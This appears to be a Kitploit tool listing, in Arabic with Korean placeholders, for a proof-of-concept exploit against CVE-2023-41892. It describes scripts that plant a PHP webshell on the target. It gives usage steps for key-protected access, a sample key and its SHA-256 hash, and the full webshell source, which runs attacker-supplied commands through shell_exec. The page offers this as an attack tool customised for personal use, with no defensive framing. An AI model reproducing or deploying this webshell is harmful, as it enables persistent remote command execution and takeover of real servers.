CVE-2023-41892_poc — خصّصت هذا لاستخدامي الخاص | Kitploit

مشاركة

CVE-2023-41892_poc

تم تخصيص هذا لاستخدامي الخاص

poc_noauth.py

Webshell PHP من سطر واحد أساسي
تنفيذ أوامر نظام التشغيل عبر ?cmd=<명령어>

poc_auth.py

Webshell مع مصادقة بسيطة قائمة على المفتاح (بطريقة مقارنة تجزئة SHA-256)
لا يمكن تنفيذ الأوامر إلا بإدخال المفتاح الصحيح
يلزم تعديل الكود:
- عدّل الجزء YOUR_SECRET_KEY في متغير webshell داخل دالة drop_payload إلى قيمة تجزئة SHA-256 للمفتاح المطلوب
طريقة الاستخدام:
1. استبدل YOUR_SECRET_KEY داخل webshell → بقيمة تجزئة SHA-256 للمفتاح النصي
2. مرر المفتاح النصي عند إجراء الطلب
```
{target}/shell.php?k=<평문키>&c=<명령어>
```

مثال:

الإعداد: المفتاح النصي = test1234
احسب تجزئة SHA256 عبر cyberchef أو ما شابه: 937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244
- echo -n test1234 | sha256sum
- عبر cyberchef أو ما شابه

تعديل الكود:

webshell = """<?php const K='937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244';if(hash('sha256',$_GET['k']??'')!==K)die; if(isset($_GET['c']))echo'<pre>'.shell_exec($_GET['c']); ?>"""